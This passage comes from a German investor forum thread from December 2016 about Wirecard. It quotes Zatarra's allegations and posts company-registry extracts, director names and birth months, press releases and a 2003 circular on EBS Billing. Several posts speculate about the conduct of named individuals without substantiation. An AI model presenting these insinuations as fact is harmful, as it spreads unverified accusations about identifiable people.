      Mehrheitsbeteiligungen in verbundenen Unternehmen oder Beteiligungsunternehmen
      erworben, wo es einen direkten Interessenkonflikt mit der Treuhänderpflicht von Wirecard in
      Bezug auf die Interessen seiner Aktionäre gab. Krores ist hierfür ein Beispiel. Dietmar
      Knöchelmann, damals Wirecard Payment Solutions CEO ist Mitbegründer und -besitzer von
      Krores. Einige Jahre später behauptete der Mitbesitzer Vineet Katial, dass Krores „an eine
      eingetragene deutsche Bank verkauft worden sei“. Es wird deutlich, dass Krores von WirecardMitarbeitern miterschaffen und an Wirecard-Mitarbeiter verkauft wurde. Wenn die
      Vermögenswerte und Kundenbeziehungen an Wirecard verkauft wurden, dann ist dies eine
      nicht offengelegte Transaktion. Wenn das Unternehmen von Wirecard-Mitarbeitern gegründet
      und an sie verkauft wurde, dann ist dies ein weiterer Interessenkonflikt zwischen WirecardAngestellten und Wirecard-Aktionären.
      Zatarra wird hierzu zu gegebener Zeit weitere Beweise vorlegen.


      4. Wirecard besitzt keinerlei direkte oder indirekte Geschäftsbeziehungen mit Inatec GmbH.
      Die Aussage von Wirecard, dass „keinerlei direkte oder indirekte Geschäftsbeziehungen mit
      Inatec GmbH bestehen“, ist ein weiterer Versuch, Investoren, Analytiker und die Medien
      irrezuführen. Zatarra hat den zuständigen Behörden Beweismaterial zukommen lassen, die eine
      Verbindung zwischen Wirecard und Inatec Solutions belegen. Inatec wurde ausdrücklich von
      den US-Behörden als ein Zahlungsabwickler genannt, der gegen den UIGEA verstößt. Inatec
      wird (wieder) von Wirecards ehemaligen Vorstandsmitgliedern geleitet.
      Zatarra wird hierzu zu gegebener Zeit weitere Beweise vorlegen.


      5. Wire Card UK Limited (Unternehmensnummer 05888415) wurde am 27. Juli 2006 im
      Namen der Wirecard AG von einem Gründungsbüro gegründet. Dies diente dem Zweck, eine
      Tochtergesellschaft für Wirecard in Großbritannien aufzubauen, aber am Ende wurde anderen
      Entscheidungen gefällt. Während seiner gesamten Lebenszeit war es eine schlafende
      Mantelgesellschaft, die niemals betriebsbereit war noch von der Wirecard Group besessen
      wurde. Sie wurde am 17. August 2010 aufgelöst. Die anfängliche Registrierungsadresse von
      Wire Card UK war definiert durch die Gründungsdienstleistung, und sie wurde niemals
      geändert, weil das Unternehmen niemals die Geschäftstätigkeit aufnahm; wenn es die
      Geschäftstätigkeit in irgendeiner Art aufgenommen hätte, wäre die Adresse im Verlauf
      selbstverständlich zur Adresse von Wirecard geändert worden. Die Tatsache, dass es sich um
      eine Wohnanschrift handelte, liegt nicht in unserem Verantwortungs- und Einflussbereich.

      Wirecard hat sich fortlaufend mit seiner Version der Vorgänge in Bezug auf seine Beziehung
      mit Wire Card UK in seinen eigenen Netzen verstrickt. Dies ist nicht überraschend, da
      Wirecard sich auf die Herausgabe von irreführenden und falschen Informationen spezialisiert
      hat.
      Zur Erinnerung:
      Wir haben Beweise gefunden, welche die Verbindung zwischen Wirecard und Wire Card UK
      Ltd sowie Bluetool aufdecken, wobei Letzteres das Unternehmen ist, das illegale Gelder aus
      dem Glücksspiel in die USA von seinem Konto bei der Wirecard Bank überwiesen hat.
      Seit dies aufgedeckt wurde, hat Wirecard seine Politik der Irreführung fortgesetzt und seine
      Version der Ereignisse geändert. Anfänglich hat es jegliches Wissen von der Existenz von Wire
      Card UK Ltd abgestritten sowie auch ein Mitwirken der ehemaligen bzw. derzeitigen
      Mitarbeiter an der Firma. Erst bei der Konfrontation mit den Akten des UK Companies House,
      die zeigten, dass Rüdiger Trautmann, Wirecards damaliger COO, ab dem Gründungstag ein
      leitender Angestellter bei Wire Card UK war, gab Wirecard zu, dass es Wire Card UK
      gegründet hatte. Wirecard behauptete jedoch, dies sei für eine ruhende Tochtergesellschaft. Als
      dann die Verbindung zu Bluetool durch Fermoya und BMIE ans Licht gebracht wurde, die
      dieselben Eigentümer wie Bluetool, Bluemay und Wire Card UK hatten, distanzierte sich
      Wirecard von Wire Card UK und behauptete, dass Rüdiger Trautmann außerhalb des Wissens
      und der Kontrolle von Wirecard handelte.
      Die Fakten sind:
       Das einzige Vorstandsmitglied von Wire Card UK in den Jahren 2006 bis 2010 war
      Rüdiger Trautmann, der Chief Operating Officer von Wirecard in den Jahren 2005 bis
      2010.
       Wire Card UK hatte dieselben Aktionäre (Fermoya und BMIE) und dieselbe
      Unternehmensaufsicht wie Bluetool und Bluemay Enterprises.
       Bluetool und Bluemay Enterprises besaßen beide Konten bei der Wirecard Bank.
      Bluemay sogar bis 2013.
       Bluetool war eine von drei Unternehmen, die im Februar 2010 im Fokus der
      Untersuchungen des United States Secret Service wegen Geldwäsche standen.
       Bluemay war die Fassade einer Glücksspiel-Site für Online-Poker.
      Wirecards Version der Tatsachen wurde zunehmend bizarrer.
      Warum fungierte der damalige COO von Wirecard, Rüdiger Trautmann, vier Jahre lang als
      einziges Vorstandsmitglied eines Unternehmens, dessen Eigentümer nicht (wie behauptet)
      Wirecard war, sondern die mysteriösen Aktionäre Fermoya und BMIE?
      Welches Vorstandsmitglied eines registrierten Unternehmens fungiert als Vorstandsmitglied
      eines Unternehmens, das unter einer Wohnadresse registriert ist und von dessen Aktionären er
      die Identität nicht kennt?


      6. Bluetool Limited war zu keinem Zeitpunkt, weder direkt noch indirekt, Teil der Wirecard
      Group.
      Das Dementi, dass Bluetool direkt oder indirekt Teil der Wirecard Group ist, wurde sehr
      sorgfältig formuliert. Tatsache ist, dass Bluetool dieselben Eigentümer wie Wire Card UK
      hatte, das Unternehmen, von dem Wirecard anfänglich behauptete, es nicht zu kennen.
      Desweiteren, dass Bluetool ein Konto bei der Wirecard Bank besaß, von dem illegale Gelder
      in die USA überwiesen wurden. Wenn Aktionäre immer noch zweifeln, können sie die
      Gerichtsprotokolle und -akten einsehen


      7. Bluemay Enterprises war zu keiner Zeit, weder direkt noch indirekt, Teil der Wirecard
      Group.
      Wieder wurde das Dementi, dass Bluemay Enterprises kein direkter oder indirekter Teil der
      Wirecard Group ist, sorgfältig formuliert. Tatsache ist, dass Bluemay Enterprises dieselben
      Eigentümer besaß wie Wire Card UK und Bluetool. Darüber hinaus besaßen BEIDE, Bluemay
      Enterprises und Bluetool, Konten bei der Wirecard Bank.



      8. Herr Usman Fayaz war zum Zeitpunkt des Erwerbs des Zahlungsabwicklers GI Retail Group
      weder direkt oder indirekt Aktionär bei einer der Unternehmen. Weder GI Technologies noch
      Hermes waren jemals in irgendeiner Form von Lotterie- oder Glücksspielgeschäften tätig. GI
      Technologies ist der führende inländische Finanztransfer-Dienstleister, der von der Reserve
      Bank of India (RBI) reguliert wird. Das Unternehmen wird regelmäßig von der
      Aufsichtsbehörde geprüft und wendet rigorose KYC- und Compliance-Verfahren bei seinen
      Überweisungen an. Der genannte Unternehmensbetrug bezieht sich auf das Unternehmen
      Popular Agro Farms Pvt Ltd, das überhaupt nichts mit Wirecard oder GI Retail zu tun hat.

      Dass Wirecard den Ausdruck „zum Zeitpunkt des Erwerbs“ in seiner Antwort verwendet,
      spricht Bände. Wir freuen uns auf neue und weitere Beweise, welche die Feinheiten der GI
      Retail Transaktion zu gegebener Zeit aufdecken. Die kurze Version ist, dass Wirecard in GI
      Retail ein fast wertloses Unternehmen erworben hat und Hunderte Millionen an
      Aktionärkapital verloren gingen. Zatarra freut sich auf die Meinung von Ernst & Young (Prüfer
      von Wirecard) bzgl. der Transaktion, sobald alle Einzelheiten bekannt sind.


      9. Wirecard hat nicht Asia Pacific E-Serv Corporation (aspaconline) übernommen. Wirecard
      Asia Pacific, Philippines war ein im Jahr 2007 neu gegründetes Unternehmen, das im Jahr 2012
      aufgelöst wurde.
      Und wieder verändert Wirecard seine Version der Ereignisse. Ursprünglich behauptete Markus
      Braun in seiner Telefonkonferenz mit Merrill Lynch, dass Wirecard „keine Verbindung zu der
      genannten juristischen Person [Asia Pacific E-Serv Corporation], von der behauptet wird, dass
      sie von Wirecard im Jahr 2007 gekauft wurde, besitzt“. Als Wirecard dann mit den
      unwiderlegbaren Beweisen konfrontiert wurde, die eine Verbindung zu Asia Pacific E-Serv
      aufdeckten, änderte Wirecard seine Geschichte dahingehend, dass „es nie Asia Pacific E-Serv
      Corporation übernommen hätte“.
      Dies ist ein weiterer Beweis der irreführenden Aussagen und falschen Informationen, die von
      Wirecard in Umlauf gebracht werden. Es ist sehr bedauerlich für Wirecard, dass die
      irreführenden Aussagen und falschen Informationen sehr einfach widerlegt werden können.


      10. Wirecard hat zu keiner Zeit irgendwelche Content-Websites gehostet oder irgendwelche
      anderen Händler-Geschäftsmodelle.
      Auch diese falschen und irreführenden Aussagen sind einfach zu widerlegen. Obwohl
      Wirecard sich redlich bemüht hat, die Beweise verschwinden zu lassen, haben wir
      glücklicherweise alle Beweise aufgezeichnet, einige davon wurden in unseren anfänglichen
      Berichten veröffentlicht und die zuständigen Behörden kennen die Beweise, die Wirecard
      versucht hat zu zerstören.


      11. Wirecard hat zu keiner Zeit den Unlawful Internet Gambling Enforcement Act (UIGEA)
      verletzt.
      Diese Aussage wurde von Wirecard vor den eindeutigen Beweisen, die wir in unserem Bericht
      „Wirecard AG – Violating the Unlawful Internet Gambling Enforcement Act“ aufdeckten,
      gemacht. Wir empfehlen jedem, der die Aussage von Wirecard zu diesem Thema für wahr hält,
      sich die Zeit zu nehmen, diesen Bericht zu lesen. Es lohnt sich.
      Avatar
      schrieb am 03.12.16 22:37:10
      Beitrag Nr. 227 ()
      Kommentar zur "Chronologie der Widerlegungen"

      Falls jemand das noch einmal nachlesen möchte...

      Ich gebe zu bedenken, was seither alles an weiteren Informationen ergänzt wurde (seitens Zatarra). Diese weiteren berichte sind unter zatarra-research.com einsehbar.

      Des weiteren bitte ich um besondere Berücksichtigung der von Jochen Reichert aufgeworfenen Fragen, die bisher nicht öffentlich beantwortet wurden.

      Des weiteren empfehle ich (gerade im Hinblick auf Wire Card UK) den Artikel in Reuters vom 23.11.2016
      http://www.reuters.com/investigates/special-report/britain-c…

      Des weiteren empfehle ich zur Einordnung von Andy Quinn den Artikel zu den Firmenkonstruktionen von Cristiano Ronaldo (hier mit Nennung von Andy Quinn: Irish Times

      Des weiteren empfehle ich zur Einordnung der Sache mit Dietmar Knöchelmann folgende Artikel:

      Financial Times Alphaville vom 22.11.2016
      https://ftalphaville.ft.com/2016/11/22/2180130/dietmar-knoch…

      sowie
      Globes vom 17.11.2016
      http://www.globes.co.il/en/article-further-conviction-in-icc…

      sowie
      diese Abfrage zu Firmen des Herrn Knöchelmann in Deutschland link (diese fehlt zB bei Warburg)


      Des weiteren bitte ich um besondere Beachtung der Rolle des Ralf B., der laut seiner Selbstbeschreibung vor dem zatarrabericht am 31.12.2008 die spätere Wirecard Payment Solution[] Ltd, Dublin, Köln und Toronto mit 1,8 Milliarden Jahresumsatz an die Wirecard AG verkauft habe und anschließend als "Gesellschafter und Geschäftsführer der RBuchholz Consulting und der Löwenor Verwaltungsgesellschaft mbH" "professionelle Beratung, Einführung und Umsetzungen von Bezahlsystemen und Risikomanagementabläufen für Händler und PSPs (Payment Service Provider) sowie Verwaltung, Beteiligungen und Investitionen" betrieben hat, als "Vice President Operations" und Prokurist der Wirecard Payment Solutions tätig war und gleichzeitig (?) Konkurrenten (?) der wirecard betreut hat wie:

      Allied Wallet Ltd. London und Frankfurt
      Skrill Holding Ltd. London und Berlin:
      Konzeptionierung und Planung einer PSP-Struktur für die Niederlassung in Berlin

      Mr Cash E-Wallet, Gibraltar
      High Risk Operationsstrategie und Vertriebsausrichtung

      PPRO Ltd, London und München
      Optimierung der Vertriebsstruktur, Produktentwicklung, alternative Zahlarten weltweit

      Inatec Payment AG, Luzern, CH und Frankfurt
      Verantwortlichkeit für den gesamten Risiko- und Operativen Bereich


      Des weiteren bitte ich um Beachtung der Aussage der Wirecard aus 2008

      "7. Wer waren die Verkäufer der TrustPay International AG?

      Die TrustPay International AG war ein sogenanntes Akquisitionsvehikel,
      das über unsere Rechtsanwälte zum Erwerb verschiedener Unternehmen
      in Irland und Österreich kontrolliert wurde.

      Bei der Wirecard Payment Solution Holding, Irland*, (früher Gateway
      Payment Solutions Holdings Ltd.**) waren es mehrere natürliche Personen
      von denen zwei dem Management der Gateway Payment Solutions
      Holdings Ltd**. angehörten und die auch nach Übernahme für die Gruppe
      tätig sind. Bei den übrigen natürlichen Personen aus verschiedenen
      internationalen Destinationen handelt es sich ausschließlich um
      Finanzinvestoren die in keiner Verbindung zur Wirecard AG oder ihren
      Organen standen.
      "

      * meines Wissens existiert diese Firma NICHT

      ** irische Firma 409925
      GATEWAY PAYMENT SOLUTIONS HOLDINGS LIMITED Changed
      To WIRECARD PAYMENT SOLUTIONS HOLDINGS LIMITED (21/12/2007)

      - GATEWAY PAYMENT SOLUTIONS LIMITED (406942) wurde bereits am 16.1.2006 umbenannt in "Gateway Interim One"

      - GATEWAY PAYMENT SOLUTIONS HOLDINGS LIMITED (408602) wurde bereits am 16.1.2006 umbenannt in "Gateway Interim Two"

      - GATEWAY E-COMMERCE SOLUTIONS LIMITED (409923) wurde ebenfalls am 16.1.2006 umbenannt in - GATEWAY PAYMENT SOLUTIONS LIMITED

      -GATEWAY E-COMMERCE SOLUTIONS HOLDINGS LIMITED (obige 409925) wurde ebenfalls am 16.1.2006 umbenannt in GATEWAY PAYMENT SOLUTIONS HOLDINGS LIMITED (die spätere Wirecard Payment Solutions Holdings, die vermutlich versehentlich als Wirecard Payment Solutions Holding bezeichnet wurde)

      Direktoren dieser Firma waren u.a.
      ANDY QUINN Director Oct 1969 30 Jun 2006 29 Jan 2010
      DIETMAR KNOECHELMANN Company Secretary Dec 1955 25 Oct 2005 29 Jun 2006
      DIETMAR KNOECHELMANN Director Dec 1955 25 Oct 2005 25 Mar 2009


      Die Zweigstelle der "GATEWAY E-COMMERCE SOLUTIONS LIMITED" (409923) war in Köln:

      Gateway Payment Solutions Ltd., Köln (Kaltenbornweg 1-3, D-50679 Köln). Gesellschaftsvertrag vom 25.10.2005 company irischen Rechts by shares. Zweigniederlassung der Gateway Payment Solutions Ltd. mit Sitz in Dublin (Register of Companies in Dublin 409923). [2005 hieß sie aber gar nicht so, na egal]

      Die Gesellschaft wird durch ihrer Directors vertreten. Director und ständiger Vertreter der Zweigniederlassung: Carbone, John, Toronto, Ontario/ Kanada, geb. 19??; Gonsalves, Jason, Dublin 4/ Irland, geb. 19??; Knöchelmann, Dietmar, Didderse, geb. 19??, jeweils einzelvertretungsberechtigt. Einzelprokura beschränkt auf die Zweigniederlassung: Buchholz, Ralf, Dormagen, geb. 19??.
      [Neueintragungen 05.07.2006 ] (quelle: Handelsregister)

      Nachtrag: Ich bitte um Beachtung folgenden Sachverhalts:
      (Quelle: bundesanzeiger)

      Am 10. Oktober 2008 gaben Knöchelmann und Buchholz die Bilanzerklärung der Löwenor ab:
      "6.568.596,56" (für 2007)

      Am 10. februar 2010 (!) wurde dieser Bericht korrigiert (!)
      Mit Datum vom 11.9.2009 und der Anmerkung "Hinweis: Der geänderte Jahresabschluss der LÖWENOR Verwaltungsgesellschaft mbH, Wallmoden, wurde in der Gesellschafterversammlung vom 12. November 2009 festgestellt. " wurde nun am 10.2.2010 eine neue Bilanz ausgegeben:
      "15.875.606,45"

      Wo hat man denn plötzlich über 8 Millionen Euro entdeckt?
      Vielleicht unter Linus Schmusetuch?

      Es wird alles ans Licht kommen, Und es wird nichts passieren. Nichts.
      1 Antwort
      Avatar
      schrieb am 04.12.16 17:25:27
      Beitrag Nr. 228 ()
      TRANSACT NETWORK SERVICES LIMITED
      20-22 Bedford row, london (Jordan cosec 21st st thomas street bristol)
      Kriyakant hirabhai PATEL

      owned by TRANSACT NETWORK LIMITED
      57/63 Line Wall Road
      Gibraltar

      Name Transact Network Limited
      Address Suite 11 Victoria House
      26 Main Street
      Gibraltar
      Telephone 20003800
      Fax 20059978
      Email info@transactnetwork.gi
      Website http://www.transactnetwork.com
      Legal Form Private Company Limited By Shares
      Country of Incorporation Gibraltar
      Incorporation Number 96561
      Incorporation Date 14/06/2006


      [charge 2 limited 04118942 fka TRANSACT MULTIPAY (2000)
      wildman & battell limited
      same day company services
      181, queen victoria street, london]

      neuer Director KEVIN SWAYNE (sic!)
      https://beta.companieshouse.gov.uk/company/04118942/filing-h…
      ...]



      Patel --> Newcastle Building Society --> The Bancorp

      siehe
      https://www.thebancorp.com/about/news/2015/07/emerchants-ltd…

      "Kriya Patel, Managing Director of The Bancorp’s European operations, added, “The Bancorp is delighted to have established this partnership with such a successful and fast growing payments company. We have known the team at StoreFinancial Services UK Limited (SFUK) for a number of years and look forward to developing prepaid solutions with them in the future under the new brand, Emerchants Europe. This relationship cements an excellent period of growth for The Bancorp’s European operations and further supports our plans to be the premier BIN Sponsorship partner in the payment sector.”"

      see
      http://www.forbes.com/sites/jonmatonis/2012/10/15/payoneer-q…

      2012
      http://www.prnewswire.com/news-releases/the-bancorp-inc-and-…

      2010
      http://www.prnewswire.co.uk/news-releases/transact-network-e…

      GIBRALTAR, August 3, 2010 /PRNewswire/ --
      - Der ehemalige COO (Chief Operations Officer) der Newcastle Card Services Kriya Patel wird ein neues Büro im talentereichen Nordosten Englands leiten
      Transact Network, europäisches E-Geld-Institut, BIN-Sponsor und Anbieter von Prepaid-Guthabenkarten, hat heute bekannt gegeben, dass Kriya Patel als Vertriebsdirektor zu dem Konzern stossen und an der Spitze der neuen britischen in Newcastle ansässigen Vertriebs- und Marketingfirma des Unternehmens stehen wird. Patel war kurz zuvor Chief Operating Officer bei Newcastle Card Solutions (NCS). Er wird seine Arbeit bei Transact Network am 6. September aufnehmen.
      Patels Erfahrungen im Bereich Prepaid-Guthabenkarten hat massgeblich zu dem Erfolg von NCS beigetragen. Das Unternehmen hatte im Jahr 2009 einen Transaktionswert von mehr als 1,6 Mrd. USD abgewickelt und über 1,25 Millionen aktive Karten bis zum Jahresende 2009 in Umlauf gebracht. NCS hat seit 2005 mehr als 300 neue Programme erworben.
      Der neu ernannte Vorstandschef Colin Greaves dazu: "Kriyas Erfahrungen bei NCS machte ihn zum Kandidaten Nummer Eins für die Führung dieses Vertriebs- und Supportgeschäftsbereiches. Die Tatsache, dass Kriya und sein Team im Nordosten Englands ansässig sind, verdanken wir vorrangig der Vielzahl an talentiertem Verkaufs- und Supportpersonal dort mit hoch entwickelter Erfahrung im Bereich der Prepaid-Karten."
      Patels Wechsel zu Transact Network ist die zweite kürzlich angekündigte Anstellung im Seniormanagement bei dem in Gibraltar ansässigen Unternehmen. Im Mai ernannte Transact Network Greaves zum Chief Executive Officer nach seiner Tätigkeit als Operations Director bei der Newcastle Building Society.


      TRansact Network

      Transact Network's founding Director are Miles Paschini, Tobias Schreyer and Kiran Sidhu.

      Miles Paschini

      Mr. Paschini has twenty years of experience founding and operating transaction processing businesses. Prior to joining Transact Network, Mr. Paschini founded EWI Holdings, a point of sale processing company which was sold in 2006 to Blackhawk Network, a subsidiary of Safeway. EWI Holdings shareholder's included investments by Darby Technology Ventures, a fund of the Franklin Templeton Group and National City Equity Partners, a fund of National City Bank. During the development of EWI Holdings, Mr. Paschini was granted several key patents related to prepaid processing technologies (US Patent #'s 6526130 and 7131578 ).Mr Paschini attended San Diego State University.

      Tobias Schreyer

      Tobias Schreyer has extensive experience in online transaction processing. Prior to joining Transact Network Limited, Mr. Schreyer was Director of Payments at Bay Management Limited in Gibraltar. Before that Mr. Schreyer was Vice President of Business Development and Sales at Wire Card AG in Munich. Initially he was the founding director of Gedik GmbH, an internet service provider which was sold to HighwayOne (Telefonica Deutschland GmbH). He has been an Advisory Board Member of several IT companies and investment funds, including 3i. Mr. Schreyer holds a degree in Business Administration and Information Technology from the Munich University.

      Kiran Sidhu

      Mr. Sidhu is an active investor in early stage technology companies. Prior to joining Transact Network, Mr. Sidhu was a Founder and Finance Director at Nano Universe PLC, an LSE-AIM listed internet investment fund. Mr. Sidhu was an Associate with Merrill Lynch in Mergers and Acquisitions and a Manager with Price Waterhouse’s Strategic Consulting Group. Mr. Sidhu has an MBA in Finance from the Wharton School and an A.B. with Honors in Computer Science from Brown University.

      easybuy.com
      Administrative Contact, Technical Contact:
      Transact Network Limited (41351435O)
      Victoria House 26 Main Street Suite 11
      P.O. Box 1288
      Gibraltar, Gibraltar 1111
      GI
      +350 44812
      Billing Contact:
      Schreyer, Tobias (41351436P)

      2008 WIPO-Streit
      national arbitration forum

      DECISION

      Transact Network Limited v. MobiStub LLC
      Claim Number: FA0808001221820

      FINDINGS
      Complainant, Transact Network Limited, is an “e-money business” that conducts its business online. Complainant operates under the “Transact Network” tradename.

      Respondent, MobiStub LLC, is owned and operated by Miles Paschini, former founder and director of Transact Network Limited. The WHOIS information lists Miles Paschini as the administrative contact for both of the <transactnetwork.com> and <transactnetwork.net> domain names. As such, the Panel will refer to MobiStub LLC and Miles Paschini interchangably as Respondent.

      Complainant admits that Respondent was instrumental in the naming of Complainant and was placed in charge of registering the <transactnetwork.com> and <transactnetwork.net> domain names for use in Complainant’s business. In August 2008, a dispute arose between Miles Paschini and Complainant in which the two parties chose to dissolve their relationship. As the <transactnetwork.com> and <transactnetwork.net> domain names were registered by Respondent, Complainant has been unable to access the domain names since the dissolution.


      --
      miles paschini


      Managing Partner
      Grupo Libertad LLC

      May 2010 – Present (2 years 7 months)

      Financial services consulting to stored value industry.
      Chief Operating Officer
      Wave Crest Holdings Limited

      Privately Held; 51-200 employees; Finanzdienstleistungen industry

      February 2009 – April 2010 (1 year 3 months)

      Financial services company providing innovative stored value solutions to large corporations and governments.
      Managing Director
      Transact Network Limited

      September 2007 – August 2008 (1 year)

      First non-bank to receive an e-money license from the Gibraltar Financial Services Commission. I prosecuted the company application with the regualtor, obtained principal MasterCard membership and designed the propietary software application for stored value card management. Developed company compliance manuals, operating procedures and risk management tools.


      _______________


      2011

      Founding Director leaving Transact Network
      January 28, 2011

      Transact Network, the European e-money issuer, BIN sponsor and prepaid card provider, announced today that Mr Tobias Schreyer has resigned as Commercial Director.

      Mr. Schreyer has been with the company since its inception in 2006 and has been an integral figure in the company’s development since then helping to guide it through its successful application for an e-money license in 2007, becoming a MasterCard Principal Member and passporting its license throughout the EU and EEA in 2008, to becoming a Visa Europe Principal Member in 2010.

      Colin Greaves, CEO at Transact Network said: “Tobias has made a pivotal contribution to the success of Transact Network and is recognized by the industry as a driving force in the European prepaid market. His influence has been enormous and we wish him the very best of luck for his future plans.”

      Going forward, Mr Kriya Patel, Sales Director at Transact Network, will assume Mr Schreyer´s operational responsibilities.

      For further information on Transact Network visit www.transactnetwork.com or contact Pete Burgess at corp_com@transactnetwork.com

      Kriya Patel verkauft NBS an wirecard???

      16.12.2011
      Wirecard übernimmt Prepaidkarten-Division der britischen Newcastle Building Society

      ????????????????????
      Avatar
      schrieb am 04.12.16 17:28:37
      Beitrag Nr. 229 ()
      https://beta.companieshouse.gov.uk/officers/CiKSXOOatX5rpSGj…
      Kriyakant PATEL
      Filter appointments
      Filter appointments
      Current appointments
      Total number of appointments 2
      Date of birth
      May 1973

      https://beta.companieshouse.gov.uk/officers/0nd8fuLIND38hhTC…
      Kriyakant Hirabhai PATEL
      Filter appointments
      Filter appointments
      Current appointments
      Total number of appointments 2
      Date of birth
      May 1973

      Kaufte wirecard NBS von *** ???
      Avatar
      schrieb am 04.12.16 23:48:41
      Beitrag Nr. 230 ()
      Nein. ich verstehe es selbst nicht... Inatec wie Wire Card waren 2001 kurz davor, an die Börse zu gehen. Inatec kooperierte mit der Mobilbank (Mobilcom), bekam Geld von der 3i Group. Genau wie wire card. Oder hat sich die 3i dann für Inatec entschieden? Denn wire card ging ja pleite.
      Paybox, mit dem Patent von Entenmann, gehörte zu 50% der Deutschen Bank - aber der Betrieb wurde 2003 eingestellt (?) (ist Paybox in Österreich dasselbe?)
      Entenmann kam später mit Paypal im Gepäck nach Europa zurück.
      So fing das damals an. Übrig blieb die wirecard. Und die wird jetzt angegriffen. Obwohl man eine Menge anderer Firmen mit fast denselben Argumenten angreifen könnte. Ich begreife das nicht.
      Avatar
      schrieb am 06.12.16 21:37:42
      Beitrag Nr. 231 ()
      Quelle: Surefire Circular, 2/2003
      s. 49ff


      INFORMATION CONCERNING EBS BILLING
      Overview
      EBS Billing was organized on January 29, 2002 pursuant to the laws of the Federal Republic of
      Germany to acquire the payments processing businessof EBS Holding (previously named ebs Electronic
      Billing Systems AG). The registered office and principal place of business of EBS Billing is located at
      Lilienthalstraße 5, 85399 Hallbergmoos, Germany.
      EBS Billing is a European provider of proprietary electronic commerce solutions in the field of
      secure online payments processing bycredit card and direct debit. EBS Billing has developed a particular
      expertise in the processing of Internet purchases, enabling businesses to accept credit card and European
      direct debit payments. EBS Billing is a turnkey provider of payment services to European Internet
      merchants and business owners, by providing multi-currency VISA and MasterCard merchant accounts
      and a robust Internet Payment Gateway solution (provided by its affiliate, WireCard AG to its clients).
      EBS Billing has over 1,000 customers (merchants) using its credit card and European Direct Debit
      solutions.
      Recent Developments
      In October, 2002, EBS Billing signed an agreement with Pago eTransaction services GmbH
      ("Pago") to process their European credit card transactions. Pago is a joint venture comprised of Deutsche
      Bank and Beisheim Holding Schweiz AG.
      On April 1, 2002, EBS Holding sold substantially all of the assets and liabilities of its credit card
      acquiring business to EBS Billing, a wholly-owned subsidiary of EBS Holding for 1.5 million Euros. As a
      result, EBS Holding now holds 100% of the issued and outstanding shares of EBS Billing. Prior to this
      date, the operations of EBS Billing had been performed by EBS Holding.
      EBS Billing Products and Services
      EBS Billing enables European merchants to process VISA, EuroCard/MasterCard and European
      Direct Debit payments made through the Internet via its Internet Payment Gateway. As the use of debit
      payments (electronic withdrawals from the consumers’bank account) has a much higher usage in some
      European countries than in North America (and a corresponding lower usage of credit cards), the ability
      to process direct debit transactions is vital to the success of a European-based payments company. EBS
      Billing is one of the only companies that offers both credit card and direct debit Internet payment
      solutions in all of the major European countries.
      EBS Billing provides its credit and direct debit processing services to two types of clientele: highvolume direct merchants and third party billing companies, who in turn provide customer and billing
      services to thousands of customers, and do so by using EBS Billings’ processing services.

      EBS Billing generates its revenue primarily bycharging merchants an amount based on a
      percentage of the value of each transaction processed and per-transaction/per-item fees for
      authorizations, settlement, risk management and exception processing such as chargebacks.
      Direct Internet Processing
      EBS Billing offers its Internet processing solutions directly to larger, more established European
      merchants. The minority of EBS Billing’s merchant base is concentrated in the on-line gaming industry
      and a substantial portion of EBS Billing’s transactions are generated by Internet gaming activities.
      Internet gaming includes licensed online casinos, sports books and lotteries.
      EBS Billing has established a leadership position in the European market for processing a high
      volume of transactions for the online gaming business. A substantial portion of EBS Billing’s revenues is
      derived from the processing of Internet gaming transactions by United States residents. As a result,
      ongoing legislative or judicial developments in the United States are of particular importance to EBS
      Billing.
      EBS Billing also offers payment processing solutions to several large European MOTO (mail
      order, telephone order) type businesses as well as mainstreamelectronic commerce merchants.
      Third Party Billers
      EBS Billing has a strong presence in the processing of third party billing transactions. These third
      party billers act as the customer service front-end for hundreds of small Internetmerchants, and typically
      process a high volume of smaller transactions. The riskassociated with such transactions is different than
      traditional “direct” merchants since the third party billers do not actually fulfill delivery of the goods and
      services of the smaller business; therefore, special risk management practices are required to safely
      handle such customers.
      European Direct Debit
      In contrast to other payment methods, such as credit card payment, direct debit does not, in most
      cases, provide real-time feedback to the merchants regarding availability of funds, validity of the bank
      account number or risk-management data such as address verification.
      Currently, direct debit is the most commonly used payment method for MOTO or recurrent
      transactions such as regular bill payments. While credit cards have a penetration rate in Europe of
      between 5% and 20% (Source: Datamonitor), nearly all consumers own a bank account and therefore are
      able to pay with Direct Debit. EBS Billing’s EuropeanDirect Debit product aims to exploit the relatively
      low acceptance rate of credit cards in European countries for Internet transactions.
      Competition
      There are a small number of European competitors to EBS Billing, most notably WorldPay, a
      U.K.-based payment provider. In general, European banks provide merchant accounts directly to
      merchants and the payment service provider model is less mature. Internationally, EBS Billing and
      SureFire share mostly the same competitors. See "Information Concerning SureFire – Competition."
      Sales and Marketing
      EBS Billing employs a combination of dedicated sales consultants and in-house account managers
      to sell its full range of products and services directly to medium-to-large merchants. In addition, EBS

      Billing employs a network of re-sellers/distributors who offer EBS Billing's services in various
      geographical markets, with a view to growing EBS Billing’s core transaction processing base and
      generating service fee revenues. Re-sellers generally earn a percentage of EBS Billing’s revenue on each
      transaction processed.
      Premises
      EBS Billing’s head office, marketing, finance, administration and customer care facilities are
      located in leased premises in Hallbergmoos, Germany, having an area of approximately 1,300 square
      meters. The lease for such premises expires on December 31, 2003. EBS Billing does not own any real
      property.
      Employees
      As at December 31, 2002, EBS Billing had 27 employees, all of whom were based in Germany. Of
      this total, approximately 10 were engaged in sales and marketing and 17 in administration, finance, risk
      management and customer service.
      No employees are party to or covered by any collective agreements and management of EBS
      Billing believes that its relationship with its employees is good.
      Protection of Products and Copyrights
      The technology used by EBS Billing is provided by way of perpetual license from its affiliate,
      WireCard AG. WireCard AG routinely upgrades and improves its technology in accordance with EBS
      Billing’s requirements. As a result, EBS Billing does not have the responsibility to protect any technology.
      Litigation
      EBS Billing has received notice of a potential infringement on the use of "EBS" as a trademark
      when it is used alone without any preceding or trailing qualifiers. EBS Billing does not use the trademark
      on such a standalone basis and therefore believes the claim is without merit. No formal injunction or
      legal proceeding has been taken against the company in respect to this matter.

      Directors and Officers
      The following table sets forth the current directors of EBS Billing elected to hold office until the
      First Closing:
      Name
      Position with EBS
      Billing Principal Occupation Director Since
      Common Shares
      Beneficially Owned
      or Over Which
      Control is Exercised
      and Percentage of
      Outstanding
      Common Shares JUERGEN RAGALLER
      Germering,
      Germany
      Managing Director Managing Director,
      EBS Billing
      February 1, 2003 -
      KLAUS O. REHNIG
      Frankfurt, Germany
      Director Consultant April 3, 2002 - CHRISTOPH LUDZ
      Hawburg, Germany
      Director Consultant Finance
      Services
      April 3, 2002 - WULF MATTHIAS
